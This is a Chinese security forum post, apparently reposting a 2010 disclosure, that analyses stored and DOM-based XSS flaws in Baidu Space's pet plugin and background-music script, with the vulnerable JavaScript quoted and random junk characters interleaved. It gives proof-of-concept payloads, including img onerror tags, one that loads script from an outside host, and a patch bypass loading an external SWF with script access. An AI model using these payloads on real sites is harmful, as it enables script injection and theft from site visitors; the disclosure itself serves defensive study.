找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2194|回复: 0
打印 上一主题 下一主题

hi.baidu Xss 漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-8-24 11:51:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.  
' [" f1 I, y$ L4 ]. N- G$ o" S3 M" J
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.  1 ^) K6 m% z4 V' j; A0 H
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中  
9 P1 v" n' ?0 u# A6 F
+ Q- P/ M% B, h7 @& v9 L将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>  
, b6 p" s( R: F$ f5 f; A) g# k7 F! Z其中BdUtil.insertWBR为  
4 Y+ [" [+ c8 C; S* Yfunction(text, step) {  / T( n2 e: H/ W& w: |9 x; x7 q, Z8 i3 H
    var textarea = textAreaCache || getContainer();  - \' o6 g2 R$ K
    if (!textarea) {  
% d. K( v; l6 T/ l4 {' m( F        return text;  
" E4 N( q' S5 p/ }  G$ H    }  
& O, g: U0 }9 q* f) J7 V8 x  [    textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");  6 ?% _+ N+ w6 G$ V
    var string = textarea.value;  
3 m. B5 d& [% |! v0 ~; s3 M    var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");  
. z: l6 G; m% d    var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");  # ~4 Q+ _. Z- g( ?- D7 U
    return result;  
5 u& |) [# p) |, _- f3 n5 E}  
, t. n/ c7 w# M) M7 j% s) a在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.  
) ^# R" m) X5 Z' a4 o; |. ]9 x5 k" K测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>  4 d+ f) ~- E. w. z) J( ?* {
   6 Z* f! F! ?6 B5 v; c. Y1 L- n: e
二:creatbgmusic() Dom-Xss Bug  * _, b: Y$ Q' T# J3 K' d1 H
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞  1 f3 U3 n. G" P1 a  _) M' c" G
7 u% I& u; ~$ f" }5 s, b+ c9 F
http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:  
" c, j; y. k3 N2 G( T& w$ _  J( E% o; v* A. K  o
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {  8 ]! x8 x1 i) h6 m% G
    //传入的murl赋值到bgmusic1和bgmusic2中  
1 H- g, B8 B8 H9 v5 O  P    //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1  1 o* d& B. `: V9 u
    var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\"  VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";  
5 T' K/ g# O3 }; w+ [( H9 u    if (musicnum <= 1) {  5 j) D+ K" _1 U/ F
        bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";  + f) S. l( ^  s' E8 k9 F  Q
    }  
" J* G: e- y! r0 {# R6 O9 q    bgmusic1 += "</OBJECT>";  ( X9 u% D+ u* j2 x) u
    var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";  4 g* C: ^5 ~, O
    if (musicnum <= 1) {  
* Q: t+ S. g0 J  {4 @- G8 V' _        bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";  
' s4 R: g% L2 D# y% i6 [    }  
6 p9 V5 Z$ `7 z4 K6 ?    bgmusic2 += "> </EMBED>";  
: ?3 J' r/ O0 C* [    var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";  + e: _2 J7 o* t+ L% E
    var bgmus = detectWMP();  : M! {$ C3 P' U$ H9 W
    if (functype == "FckMusicHelper") {  
* B/ Y% \3 Y: I+ k+ |& D* j# c0 V        if (bgmus.installed) {  , a9 \- ^; S0 b3 c/ N, K, N
            if (bgmus.type == "IE") {    J. t2 L) l  `# f5 \$ C1 t! e, [
                return bgmusic1;    |( T! G8 C, ]# V
            } else if (bgmus.type == "NS") {  
9 i  q2 p) ?9 M; F9 [6 ~2 `+ N& q( G                return bgmusic2;  
0 @3 G: N5 n3 _+ Z; c            }  
- V  b, ^% n; a0 Y& z* _        } else {  
) w3 F7 \) Z* i            return bgmusic3;    s: U7 e& H9 W& F$ w: q
        }  
& t  J2 d4 I" `3 _- W    } else {  
1 f2 _( T& f2 E8 X+ H* K7 ?: N        if (bgmus.installed) {  8 x: z3 b+ t8 Z2 M8 @' F
            //document.write 直接输出bgmusic变量 导致xss  
$ e0 t4 O6 {5 E5 e& Y            if (bgmus.type == "IE") {  
' c6 ], k" L6 `# b5 I/ _                document.write(bgmusic1);  
+ `# H# z  |! y' }* N! h( r6 n            } else if (bgmus.type == "NS") {  6 \. r, U0 r- f
                document.write(bgmusic2);  
$ F1 q- q; D' l, F) ^7 Z; c& j( R# m            }  
3 U) E6 Q+ \! ^        } else {  1 K, y( b2 F% R9 f) I8 s
            document.write(bgmusic3);  
& E! m8 X; J' i0 T5 Z* u        }  7 \, O. v  U7 I8 f, A( P/ T
        return "";    N# G# Y4 U. D6 I
    }  : E. N7 e( X+ P$ n- w5 d
}  
5 B8 t7 a! b, D7 n+ b
, g5 F6 s$ D& l; Z! t2 N% o+ A) u在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:  
& X8 L: \( x; {8 q; m
: x9 [7 R6 O& gfunction initBlogTextForFCK(){  9 f2 J7 S' B& U2 i) @: z$ S* J# n0 R
//fck init music  2 M" ^* d6 \0 F0 G1 p! f. j
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}  8 L5 I$ f3 l# `, P: A6 O
var imgBox=document.getElementsByName(’musicName’);   //取得了文章中的所有name="musicName"的标签数组  ' |. v: D, h' Z
var isAutoPlay=true;  . q. u) |! j4 M" ]/ i6 N* P
for(var i=0,n=imgBox.length;i<n;i++){  //然后遍历.  - p0 r0 ~% U6 e
  var img=imgBox;  
) }6 \0 X7 o# N6 J  if(img.getAttribute(’rel’)){        9 c* T4 h0 z% S
   var musicSrc=img.getAttribute(’rel’);    //取得标签中rel的值,赋值给musicSrc  
+ @! I# [+ x' W   var musicDiv = document.createElement("SPAN");  
! H3 j* T8 q  T  M' V( C4 k8 k; J   var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1);  //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]  
0 T/ u, x4 a) e, z0 H7 i3 G- ?     
1 V( U( c' \% G/ t) x' |: ?      ..........................  2 Q3 ^+ _8 z8 D0 e% W4 u4 x, t
     ( r4 W- r" s$ l9 [: ^9 Q4 ]
   //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.   / r4 d- f6 e* s) P4 a3 n% r
   var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  : c/ k8 C( q5 z. T# _% C
   shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’);   img.replaceNode(musicDiv);  
& X# U2 N2 z" u% F& t7 N   musicDiv.innerHTML=shtml;  ; g" J& W- K  M) p% l6 N" u
   i--;n--;  
, O  I. i$ l* _$ H1 J0 K; ~  }  
  \% z) d7 v/ e/ w8 v) P; U}  
+ c& t4 T" c( ]8 H2 Y5 S
9 n7 Y1 i! C7 j+ {  ?/ H% \( C$ |从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.  
4 \& G  s# H' K1 O   
& T2 l  S7 T5 B3 b测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>  & v, t5 d" P. `6 k5 ?/ `

& R8 G. Z0 T. o, e, N( X# k等待官方补丁  
/ Y: \* n4 I' p! W
; u7 K; J. G. u7 ?, u+ ]& `) eupdate 2010年5月13日   
) S- H7 w$ b. l$ N% _1 v4 b3 o. R7 Z3 R0 a  G
官方补丁:  
/ b: e. ?; \  R! Z# l2 Q( X& Y4 i9 n; I  E
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  3 G6 ]) o0 G% F1 v  I1 F
改为:  " U* w; j* S/ ?
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);  
2 y/ A2 ?+ s0 E
1 g7 O( f& {; t* Y1 ]# {update 2010年5月13日 21:50:37  
% t6 ^; A2 F& H( W3 {! p/ |: t1 Y/ o& D# y
补丁存在漏洞 没有过滤" 可以继续跨:  
+ T" \1 h) x0 f4 O3 K' W
6 E0 W0 a- F. u6 Z* |" A/ ENEW POC:  
6 B! }/ v( Y1 q6 S
) p# M, y3 ^: Z7 n& Y<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
' o3 \8 q" I& C. X' i! x
4 k3 A4 u$ k; K5 Gallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
* K  Q* c* D/ y6 j7 T1 i: A, N6 |
7 i. L) a6 D& |
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表